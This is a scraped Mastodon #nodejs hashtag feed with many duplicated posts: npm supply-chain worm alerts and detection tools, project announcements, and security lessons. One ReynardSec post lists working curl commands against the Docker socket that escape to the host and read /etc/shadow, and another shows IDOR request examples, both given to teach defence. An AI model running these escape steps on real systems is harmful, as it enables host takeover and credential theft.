#NodeJS

BotKit by Fedify

@botkit@hollo.social · Reply to BotKit by Fedify :botkit:'s post

BotKitは、ActivityPubボットを作るためのTypeScriptフレームワークです。既存のMastodon/Misskeyボットとの違いは、ボット自体が独立したサーバーとして動作すること。プラットフォームのアカウントは不要です。

文字数制限もなければ、APIレート制限に悩まされることもありません。

bot.onMention = async (session, message) => {
  await message.reply(text`こんにちは、${message.actor}さん！`);
};

フェデレーション、HTTP Signatures、配送キューといったActivityPub周りの処理はFedifyがすべて引き受けます。ボットのロジックを書くだけです。

DenoでもNode.jsでも動きます。

https://botkit.fedify.dev/

#BotKit #Fedify #ActivityPub #TypeScript #Deno #NodeJS

BotKit by Fedify

@botkit@hollo.social · Reply to BotKit by Fedify :botkit:'s post

文字数制限もなければ、APIレート制限に悩まされることもありません。

bot.onMention = async (session, message) => {
  await message.reply(text`こんにちは、${message.actor}さん！`);
};

フェデレーション、HTTP Signatures、配送キューといったActivityPub周りの処理はFedifyがすべて引き受けます。ボットのロジックを書くだけです。

DenoでもNode.jsでも動きます。

https://botkit.fedify.dev/

#BotKit #Fedify #ActivityPub #TypeScript #Deno #NodeJS

BotKit by Fedify

@botkit@hollo.social · Reply to BotKit by Fedify :botkit:'s post

文字数制限もなければ、APIレート制限に悩まされることもありません。

bot.onMention = async (session, message) => {
  await message.reply(text`こんにちは、${message.actor}さん！`);
};

フェデレーション、HTTP Signatures、配送キューといったActivityPub周りの処理はFedifyがすべて引き受けます。ボットのロジックを書くだけです。

DenoでもNode.jsでも動きます。

https://botkit.fedify.dev/

#BotKit #Fedify #ActivityPub #TypeScript #Deno #NodeJS

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

These sorts of NPM worms have been around for a LONG time.

It's typically due a common practice of low 2fa opt-in on NPM accounts.

So be sure to setup NPM 2FA if you're a package maintainer do that asap!

A lesser known NPM capability is that you can disable install time scripts. This may break some packages but its worth a try to see if your projects can work with out any install scripts. 👇🏿

https://blog.npmjs.org/post/141702881055/package-install-scripts-vulnerability

#GitHub #NPM #Microsoft #Sha1Hulud #nodejs #javascript

ALT text details

Package install scripts vulnerability Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later. As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user. npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down. How to protect yourself If you are installing a package that you do not trust, you can avoid this vulnerability by running npm install --ignore-scripts If you wish to never run scripts at install time, you can instead run npm config set ignore-scripts true Either or both of these steps will prevent you from spreading a worm at install time. If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Just finished writing another tool, now I can see NINE known compromised packages are still up for download on NPM! ⚠️

This tool crawls the list of known bad packages and downloads the latest bundle.

It then runs my other checks against the downloaded bundle and logs the results.

https://github.com/datapartyjs/walk-without-rhythm

#WalkWithoutRhythm #Sha1Hulud #NPM #GitHub #Microsoft #nodejs #javascript #cybersecurity #devlog #bash

ALT text details

./is-npm-still-dangerous Reads the data/infected-pkgs.txt Downloads the latest package metadata for every known infected package Downloads the current latest package.tgz Uncompresses and scans the latest version using ./check-projects Depending upon the scan result ./is-npm-still-dangerous capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED haufe-axera-api-client 0.0.2 - STILL COMPROMISED hyper-fullfacing 1.0.3 - STILL COMPROMISED @ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED my-saeed-lib 0.1.1 - STILL COMPROMISED quickswap-ads-list 1.0.33 - STILL COMPROMISED @seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED tcsp 2.0.2 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised! See npm-reports/npm-latest-bad.txt for full listing. Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Just finished writing another tool, now I can see NINE known compromised packages are still up for download on NPM! ⚠️

This tool crawls the list of known bad packages and downloads the latest bundle.

It then runs my other checks against the downloaded bundle and logs the results.

https://github.com/datapartyjs/walk-without-rhythm

#WalkWithoutRhythm #Sha1Hulud #NPM #GitHub #Microsoft #nodejs #javascript #cybersecurity #devlog #bash

ALT text details

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I've spent the last few hours writing down my scripts for detecting this so you can use them!

I'm hitting on two or three ways to detect it and will be adding more.

Watching the attack running I can see developers all over the world still doing their morning `npm i` and getting owned 😭

Maybe let the node developers in your life know about this tool 👇🏿

https://github.com/datapartyjs/walk-without-rhythm

#ShaiHulud #WalkWithoutRhythm #nodejs #javascript #npm #github #cybersecurity

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Updated my listing of Sha1-Hulud detection tools.

I now have found at least 12 other tools for detecting Sha1-Hulud compromise on your dev box and in infrastructure.

https://github.com/datapartyjs/walk-without-rhythm?tab=readme-ov-file#similar-sha1-hulud-112425-detection-tools

#WalkWithoutRhythm #Sha1Hulud #npm #github #nodejs #javascript #cybersecurity #devops

ALT text details

Similar Sha1-Hulud 11/24/25 Detection Tools Links to other projects provided with no warranty express or implied. https://github.com/TimothyMeadows/sha1hulud-scanner https://github.com/mottibec/sha1hulud-scanner https://github.com/gensecaihq/Shai-Hulud-2.0-Detector https://github.com/tprinty/sha1hulud-action-detector https://github.com/da1z/amihulud https://github.com/bobberg/sha1-hulud-folder-checker https://github.com/servusdei2018/sha1-halud-scan https://github.com/kevcooper/fremkit https://github.com/ysskrishna/shai-hulud-detector https://github.com/Cobenian/shai-hulud-detect GitHub Scanners https://github.com/ysskrishna/shai-hulud-detector panther-labs/panther-analysis#1826

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I've updated my suggestions to include links and info on how to get fine grained control over the scripts your projects run at compile time.

There's two fairly interesting community projects that seem to address this part of the problem and make it possible to disable most install scripts while keeping the ones your project actually requires.

https://github.com/datapartyjs/walk-without-rhythm?tab=readme-ov-file#steps-to-take

#Sha1Hulud #NPM #nodejs #javascript

ALT text details

Steps to take Turn on Multi-Factor Authentication (MFA / 2FA) immediately on your NPM & GitHub accounts (and all other key infra). Change and review passwords for cloud services you use. You probably shouldn't run any npm install or npm update commands until NPM and GitHub have official mitigations in place. Before doing anything else you probably should check for signs of comproise. This can be done manually or using this repo or other similar scanning tools. If you DO continue working from an infected machine you risk having your personal data stolen or destroyed by this worm. After verifying that your system has not already been compromised you can likely safely work as normal but you should avoid upgrading or installing any different package versions. Its not fully clear at the time of posting if NPM is taking down infected packages we're still finding infected packages for download on NPM at this time. Before installing a new version of a package, you can download a .tgz archive using the command npm pack <package-name>. This does not install the package. You can then uncompress the package and check it for signs of compromise. Consider disabling install scripts npm install --ignore-scripts - Ignore install scripts npm config set ignore-scripts true - Ignore install scripts user wide "Package install scripts vulnerability" - NPM blog post from 2016 explaining worm mitigations Consider using a tool for fine grained script management

Emelia 👸🏻

@thisismissem@hachyderm.io

Watt from Platformatic sounds interesting for improving Node.js server performance: https://blog.platformatic.dev/93-faster-nextjs-in-your-kubernetes

It's kinda like pm2 but using SO_REUSEPORT, so the kernel handles the load balancing and forwarding of requests to each node.js process.

#nodejs

nullagent

@nullagent@partyon.xyz

#Breaking There's an active nodejs supply chain attack going around.

From the looks of it many of these compromised packages have been mitigated but quite a few have not.

https://helixguard.ai/blog/malicious-sha1hulud-2025-11-24

#nodejs #cybersecurity #aws #github #npm #trufflehog #go #cyberattack #ShaiHulud #javascript #deno #browser #Sha1Hulud

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

These sorts of NPM worms have been around for a LONG time.

It's typically due a common practice of low 2fa opt-in on NPM accounts.

So be sure to setup NPM 2FA if you're a package maintainer do that asap!

A lesser known NPM capability is that you can disable install time scripts. This may break some packages but its worth a try to see if your projects can work with out any install scripts. 👇🏿

https://blog.npmjs.org/post/141702881055/package-install-scripts-vulnerability

#GitHub #NPM #Microsoft #Sha1Hulud #nodejs #javascript

ALT text details

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I spent more time searching for other Sha1-Hulud detection tools and found four more bringing it to 6 scanners (5 in nodejs).

Linked them all from my readme in case those work better for you.

Best way to beat a worm like this is to keep scanning and keep an eye out for the attacker to try and evade all of our tools.

By using more than one hopefully we make the attackers job harder to evade all of us.

https://github.com/datapartyjs/walk-without-rhythm?tab=readme-ov-file#similar-tools

#Sha1Hulud #WalkWithoutRhythm #nodejs #npm #github #microsoft

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

GitHub has almost finished taking down the stolen data posted by the Sha1-Hulud npm/github worm. I only see about 400 repos remaining of the around 23k created by the worm.

This was the most visible evidence of the exploit, just because we can't clearly see the worm's uploads doesn't mean the worm is totally dead yet.

#Sha1Hulud #GitHub #NPM #nodejs #cybersecurity

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I spent more time searching for other Sha1-Hulud detection tools and found four more bringing it to 6 scanners (5 in nodejs).

Linked them all from my readme in case those work better for you.

Best way to beat a worm like this is to keep scanning and keep an eye out for the attacker to try and evade all of our tools.

By using more than one hopefully we make the attackers job harder to evade all of us.

https://github.com/datapartyjs/walk-without-rhythm?tab=readme-ov-file#similar-tools

#Sha1Hulud #WalkWithoutRhythm #nodejs #npm #github #microsoft

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Just finished landing Exit Code support. So now if more scanners are made or one of the projects gets more features you can quickly switch to whichever makes the most sense for your use case!

I literally lost a ton of sleep on this volunteer incident response work so I'm going to go touch grass for a bit.

More hacks later tonight, still got some loose ends gnawing at me lol.

https://github.com/datapartyjs/walk-without-rhythm?tab=readme-ov-file#how-to-use

#nodejs #npm #javascript #Sha1Hulud #WalkWithoutRhythm #Sha1HuludScanner #cybersecurity

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

The fork of the CrowdStrike scanner introduced me to a really good idea, I should support the same exit code design so that our tools can work in tandem.

Maybe we detect different things or maybe one vs the other works in your environment.

So I made an issue to track this support:

https://github.com/datapartyjs/walk-without-rhythm/issues/18

#CrowdStrike #Sha1HuludScanner #WalkWithoutRhythm #cybersecurity #npm #nodejs

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I located a second tool for detecting Sha1-Hulud infections. Haven't looked at the details of how it works.

Some notes:

This one appears to have been released by CrowdStrike and was paywalled. Someone decided to modify and release it publicly so license is unknown.

But awesome to see I'm in the big leagues with CrowdStrike and I maybe the first clean open source release of a tool for this.

https://github.com/TimothyMeadows/sha1hulud-scanner

#Sha1Hulud #Sha1HuludScanner #NPM #nodejs #cybersecurity #opensource

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

First pass is super simple and just looks for the file names & package.json signature for signs of infection anywhere in the path you tell it to search.

If it sees anything fishy it tells you where and stops until you've read the alert.

Oh and this only uses bash, sed, awk, grep, curl, and jq. So no npm, node or other big supply chains 🥴

https://github.com/datapartyjs/walk-without-rhythm/blob/main/check-projects

#ShalHulud #WalkWithoutRhythm #nodejs #npm #github #javascript

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

First pass is super simple and just looks for the file names & package.json signature for signs of infection anywhere in the path you tell it to search.

If it sees anything fishy it tells you where and stops until you've read the alert.

Oh and this only uses bash, sed, awk, grep, curl, and jq. So no npm, node or other big supply chains 🥴

https://github.com/datapartyjs/walk-without-rhythm/blob/main/check-projects

#ShalHulud #WalkWithoutRhythm #nodejs #npm #github #javascript

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I'm quickly finding a mix of packages which were compromised, some were months ago and had the bad versions taken down.

However at the same time I'm noticing packages like the one below that were -just- hacked 19 hours ago and still have not been taken down yet!

With how this worm works its a bit of a pencils down moment... you probably should check your packages right now.

https://www.npmjs.com/package/capacitor-voice-recorder-wav?activeTab=code

#nodejs #npm #ShaiHulud #javascript

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I've spent the last few hours writing down my scripts for detecting this so you can use them!

I'm hitting on two or three ways to detect it and will be adding more.

Watching the attack running I can see developers all over the world still doing their morning `npm i` and getting owned 😭

Maybe let the node developers in your life know about this tool 👇🏿

https://github.com/datapartyjs/walk-without-rhythm

#ShaiHulud #WalkWithoutRhythm #nodejs #javascript #npm #github #cybersecurity

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Ok I've downloaded some of the compromised packages and you can search your already downloaded node modules for possibly infected packages using this command:

find ./node_modules -type f -name "bun_environment.js"

You can check your user level node cache using:

find ~/.npm -type f -name "bun_environment.js"

Still sizing this one up but if you get any hits check and see if they are big files (around 10MB) and if so you're likely infected.

#nodejs #npm #cybersecurity

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Taking a second to understand the attack rate. I constructed this query below which shows you essentially an up to date listing of developers/code that's been compromised.

Once your box is infected and PII data has been found the worm then uses your github credentials to upload that content so ANYONE can now steal your credentials.

I'm finding multiple repos being popped every minute. This is an extremely active attack right now.

https://github.com/search?q=%22Sha1-Hulud%3A+The+Second+Coming.%22&type=repositories&s=updated&o=desc

#nodejs #npm #cybersecurity #github

nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I'm quickly finding a mix of packages which were compromised, some were months ago and had the bad versions taken down.

However at the same time I'm noticing packages like the one below that were -just- hacked 19 hours ago and still have not been taken down yet!

With how this worm works its a bit of a pencils down moment... you probably should check your packages right now.

https://www.npmjs.com/package/capacitor-voice-recorder-wav?activeTab=code

#nodejs #npm #ShaiHulud #javascript

nullagent

@nullagent@partyon.xyz

#Breaking There's an active nodejs supply chain attack going around.

From the looks of it many of these compromised packages have been mitigated but quite a few have not.

https://helixguard.ai/blog/malicious-sha1hulud-2025-11-24

#nodejs #cybersecurity #aws #github #npm #trufflehog #go #cyberattack #ShaiHulud #javascript #deno #browser #Sha1Hulud

David Gardiner

@DavidRGardiner@mastodon.online

Blogged: **Aspire with Python, React, Rust and Node apps**

What's involved with integrating apps written with Python, Rust, Node and React/Vite with Aspire? Not that much as it turns out!

https://david.gardiner.net.au/2025/11/aspire-without-dotnet

#dotnet #aspire #rust #nodejs #pnpm #react #vite

David Gardiner

@DavidRGardiner@mastodon.online

Blogged: **Aspire with Python, React, Rust and Node apps**

What's involved with integrating apps written with Python, Rust, Node and React/Vite with Aspire? Not that much as it turns out!

https://david.gardiner.net.au/2025/11/aspire-without-dotnet

#dotnet #aspire #rust #nodejs #pnpm #react #vite

jnkrtech

@jnkrtech@treehouse.systems

New blog post is up! This is a deep dive into continuation-passing style in TypeScript. (No, I'm not talking about asynchronous callbacks.)

https://jnkr.tech/blog/cps-in-ts

Let me know what you think and if you have any questions I can answer!

#TypeScript #JavaScript #FunctionalProgramming #Programming #NodeJS

jnkrtech

@jnkrtech@treehouse.systems

New blog post is up! This is a deep dive into continuation-passing style in TypeScript. (No, I'm not talking about asynchronous callbacks.)

https://jnkr.tech/blog/cps-in-ts

Let me know what you think and if you have any questions I can answer!

#TypeScript #JavaScript #FunctionalProgramming #Programming #NodeJS

nove-b🦥

@nove_b@social.nove-b.dev

直近一週間分の睡眠データを、Gemini APIを利用して分析し、睡眠レポートを生成してメールで送信するコードを書きました。
生成されるレポートにいまいち納得感がないので、プロンプト含めプルリクお待ちしております！
#nodejs #gemini #fitbit

https://github.com/nove-b/fitbit-sleep-report

Kat Marchán 🐈

@zkat@toot.cat

you benchmark your node/ruby/python software on your fancy new m4 mbp and celebrate 500ms response times.

I benchmark my rust software on a $30 potato computer that may as well have 256mb of RAM and celebrate 800ms response times.

we are not the same.

#Rust #RustLang #Python #NodeJS #Node #Ruby

morgan

@morgan@leds.social · Reply to morgan's post

and with that... I'm actively looking for my next contract, ideally something around ~20h/week. deep knowledge of #Python/#Django, long time #NodeJS Dev, talk to me about #WebComponents!

https://resume.oit.cloud

#FediHire #fedihired

morgan

@morgan@leds.social · Reply to morgan's post

and with that... I'm actively looking for my next contract, ideally something around ~20h/week. deep knowledge of #Python/#Django, long time #NodeJS Dev, talk to me about #WebComponents!

https://resume.oit.cloud

#FediHire #fedihired

Socket

@SocketSecurity@fosstodon.org

🚀 Socket now integrates with Bun 1.3’s new Security Scanner API! @bunjavascript users can now protect their projects from malicious packages, typosquatting, & other supply chain attacks. Great to see Bun moving so quickly to protect developers at the package manager level with this new API!

https://socket.dev/blog/socket-integrates-with-bun-1-3-security-scanner-api #NodeJS #JavaScript

Socket

@SocketSecurity@fosstodon.org

North Korea’s “Contagious Interview” campaign continues to weaponize npm: 338 malicious packages, 50K+ downloads. Leveraging typosquats, loader tweaks, and new aliases, it targets #crypto devs and job seekers via recruiter lures.

Full Report →
https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages #NodeJS

Socket

@SocketSecurity@fosstodon.org

https://socket.dev/blog/socket-integrates-with-bun-1-3-security-scanner-api #NodeJS #JavaScript

Socket

@SocketSecurity@fosstodon.org

Full Report →
https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages #NodeJS

Lovell Fuller

@lovell@mastodon.social

🔒 If you publish packages to the npm registry and haven't already seen its new Trusted Publisher feature, please do take a look at https://docs.npmjs.com/trusted-publishers

🎟️ It uses short-lived OIDC tokens to allow CI-based automation of signed publish-with-provenance.

📈 According to https://github.com/sxzz/npm-top-provenance I maintain 6 of the top 50 packages that use this feature, and those 6 packages combined have over 600 million downloads each month!

#OpenSource #NodeJS #npm

Lovell Fuller

@lovell@mastodon.social

🔒 If you publish packages to the npm registry and haven't already seen its new Trusted Publisher feature, please do take a look at https://docs.npmjs.com/trusted-publishers

🎟️ It uses short-lived OIDC tokens to allow CI-based automation of signed publish-with-provenance.

📈 According to https://github.com/sxzz/npm-top-provenance I maintain 6 of the top 50 packages that use this feature, and those 6 packages combined have over 600 million downloads each month!

#OpenSource #NodeJS #npm

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo (the customizable timeline algorithm / filtering system for your Mastodon feed) v1.2.2 is deployed now. Has a switch that makes sure any #hashtags / users / etc. that you follow are displayed as filter options even if they don't meet the minimum number of recent toots threshold.

Also a bunch of bug fixes and small improvements.

* Try it here: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action (slightly outdated): https://universeodon.com/@cryptadamist/114395249311910522

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #GoToSocial #hashtag #hashtags #javascript #MastoAdmin #Mastodon #MastodonApi #mastohelp #mastojs #node #nodejs #opensource #socialmedia #SocialWeb #timeline #TL #typescript #webdev

ALT text details

screenshot of fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Also a bunch of bug fixes and small improvements.

ALT text details

screenshot of fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Also a bunch of bug fixes and small improvements.

ALT text details

screenshot of fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Also a bunch of bug fixes and small improvements.

ALT text details

screenshot of fedialgo demo

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Also a bunch of bug fixes and small improvements.

ALT text details

screenshot of fedialgo demo

Socket

@SocketSecurity@fosstodon.org

🚨 Multiple CrowdStrike packages trojanized in an ongoing npm supply chain attack: This is the same campaign that hit Tinycolor yesterday with identical malware.

Full list of compromised packages + mitigations →

https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages #NodeJS #JavaScript

Socket

@SocketSecurity@fosstodon.org

🚨 Multiple CrowdStrike packages trojanized in an ongoing npm supply chain attack: This is the same campaign that hit Tinycolor yesterday with identical malware.

Full list of compromised packages + mitigations →

https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages #NodeJS #JavaScript

Socket

@SocketSecurity@fosstodon.org

🚨 Multiple CrowdStrike packages trojanized in an ongoing npm supply chain attack: This is the same campaign that hit Tinycolor yesterday with identical malware.

Full list of compromised packages + mitigations →

https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages #NodeJS #JavaScript

Socket

@SocketSecurity@fosstodon.org

🚨 BREAKING: The DuckDB npm account was compromised. Malicious versions of duckdb, duckdb-wasm, and more were published early this morning with the same wallet-drainer malware seen in yesterday’s supply-chain attack. Check your dependencies!

https://socket.dev/blog/duckdb-npm-account-compromised-in-continuing-supply-chain-attack #NodeJS

ALT text details

DuckDB npm account compromised

Socket

@SocketSecurity@fosstodon.org

https://socket.dev/blog/duckdb-npm-account-compromised-in-continuing-supply-chain-attack #NodeJS

ALT text details

DuckDB npm account compromised

Socket

@SocketSecurity@fosstodon.org

https://socket.dev/blog/duckdb-npm-account-compromised-in-continuing-supply-chain-attack #NodeJS

ALT text details

DuckDB npm account compromised

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

* Link: https://michelcrypt4d4mus.github.io/fedialgo_demo_app_foryoufeed/
* Code: https://github.com/michelcrypt4d4mus/fedialgo_demo_app_foryoufeed
* Video of FediAlgo in action (slightly out of date): https://universeodon.com/@cryptadamist/114395249311910522

#activitypub #algorithm #algorithmicFeed #algorithmicTimeline #Fedi #FediTips #FediTools #Fediverse #Feed #FOSS #GoToSocial #hashtag #hashtags #MastoAdmin #Mastodon #MastodonApi #mastohelp #mastojs #nodejs #nod #opensource #socialmedia #SocialWeb #timeline #TL #typescript #webdev

ALT text details

screenshot of fedialgo demo app

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

ALT text details

screenshot of fedialgo demo app

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

ALT text details

screenshot of fedialgo demo app

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
#FediAlgo v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

ALT text details

screenshot of fedialgo demo app

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST "http://localhost/containers/create?name=escape" \
  -d '{
        "Image": "ubuntu:24.04",
        "Cmd": ["sleep","infinity"],
        "HostConfig": { "Binds": ["/:/host:rw"] }
      }'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
  -H 'Content-Type: application/json' \
  -X POST http://localhost/containers/escape/exec \
  -d '{
    "AttachStdout": true,
    "AttachStderr": true,
    "Tty": true,
      "Cmd": ["cat","/host/etc/shadow"]
  }'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
  -H 'Content-Type: application/json' \
  -X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
  -d '{"Detach": false, "Tty": true}'

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/

Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956

#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js

ALT text details

grumpy cat

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New version (v1.1.0) of #FediAlgo, the customizable timeline algorithm / filtering system for your Mastodon feed, has a toggle switch to allow or disallow the selection of more than one filter option for when you're checking out your favourite hashtags.

ALT text details

screenshot of fedialgo multiselect for hashtag filters

⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

ALT text details

screenshot of fedialgo multiselect for hashtag filters

ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

dev0: Big news - we finally upgraded every framework to the latest.
dev1: And the pipeline looks good: SAST, container scan, DAST... all green.
dev0: ItSec won't have anything to nitpick now!

ItSec (walking by): ... and BAC?
dev0: BAC?
ItSec: Broken Access Control [1]. Did you actually test for it?

dev1: What's he on about this time?

Let's learn by example: imagine an endpoint that returns a specific invoice.

GET /api/invoices/123
Authorization: Bearer <token-for-user-A>

User A legitimately fetches invoice 123. Now change only the ID:

GET /api/invoices/124
Authorization: Bearer <token-for-user-A>

If the app returns 200 with User B's data, you've got Broken Access Control (aka IDOR).

Even worse, try a write operation:

PATCH /api/invoices/124
Authorization: Bearer <token-for-user-A>

{"status": "paid"}

If that works... it's a problem.

Access control enforces who can do what on which resource. When it's broken, attackers can act outside their permissions: read others data, modify or delete it, or trigger business functions they shouldn't. In practice, this often comes from missing server-side checks that tie the caller to the resource owner (or an allowed role).

Why your shiny scanners may have missed it:

1) SAST sees code patterns, not ownership semantics (it can't deduce "invoice 124 belongs to User B").
2) DAST usually crawls with one session; it rarely performs cross-identity trials (User A poking at User B's data).
3) CI/CD "green checks" mean dependencies, images, and common vulns look fine - not that your authorization logic is correct.

What can you do?

1) Enforce checks on the server (never rely on the client): before every read/update/delete, verify the caller is the owner or has a permitted role.
2) Centralize authorization in a service/middleware.
3) Prefer opaque, unguessable IDs (UUIDs) over sequential integers, but still enforce server checks (UUIDs are not security).
4) Deny by default. Make allow-lists explicit.

[1] https://owasp.org/Top10/A01_2021-Broken_Access_Control/#description

#webdev #cybersecurity #programming #java #php #nodejs #javascript #infosec

Aral Balkan

@aral@mastodon.ar.al

The new integrated Markdown parser I’ve been implementing in Kitten has been kicking my ass for the past few weeks but I think I finally have it fully working and seamlessly so. Expect a new release this/next week that brings the parsing of Markdown pages (.page.md files) in your apps up to the standard of the recently-improved runtime Markdown parsing in Kitten HTML tagged-template strings (within `<markdown>…</markdown>` blocks).

The coolest thing is I was able to implement this without introducing any new syntax. In fact, I was able to simplify things so that you can now add arbitrary JavaScript to your Markdown pages within a multi-line script block in the YAML front matter (`script: |`) and use JavaScript string interpolation syntax in your Markdown (and, of course, Kitten components and conditionals, which, themselves, rely on string interpolation).

The only place where you have to deviate from standard Markdown in your Markdown pages is if you have JavaScript string interpolations or Kitten components/conditionals in code fences within your Markdown. In that case, you’ll have to escape them (e.g., `<\${Component} />`, `\<if \${something}>something\</if>`, etc.). And, to be fair, the person most impacted by this is likely me as the Kitten documentation at https://kitten.small-web.org is written in Kitten so I had a lot of escaping to do. But for any other use case, it means that things should just work and work exactly as they do in JavaScript pages (page.js files).

Anyway, so this is going to be a breaking change so I thought I’d give you (the three of you playing with Kitten right now?) a heads up. Of course, I’ll be updating the documentation to reflect all this.

(Remember, Kitten is in pre-release and it’s the framework I’m building/using to create Catalyst – the Small Web hosting solution – and Yarn – a small web – peer to peer – personal site app. So Kitten isn’t the means, not the end. And, at least until the Version 1 API freeze, things can and will break. That said, there’s nothing stopping you from playing with it now and, to be fair, at this point, such breaking changes should become rarer and rarer).

:kitten: 💕

#Kitten #SmallWeb #SmallTech #web #dev #Markdown #JavaScript #HTML #CSS #JavaScript #NodeJS

Aral Balkan

@aral@mastodon.ar.al

:kitten: 💕

#Kitten #SmallWeb #SmallTech #web #dev #Markdown #JavaScript #HTML #CSS #JavaScript #NodeJS

Shini92

@Shini92@mas.to

I'm working on a #poc in plain #nodejs 👀
Not published yet, put maybe I will fight #nestjs as a competitor 🤔

This is already working AND fully written in #es2025 #esm with #tc39 decorator proposal

What do you think?

ALT text details

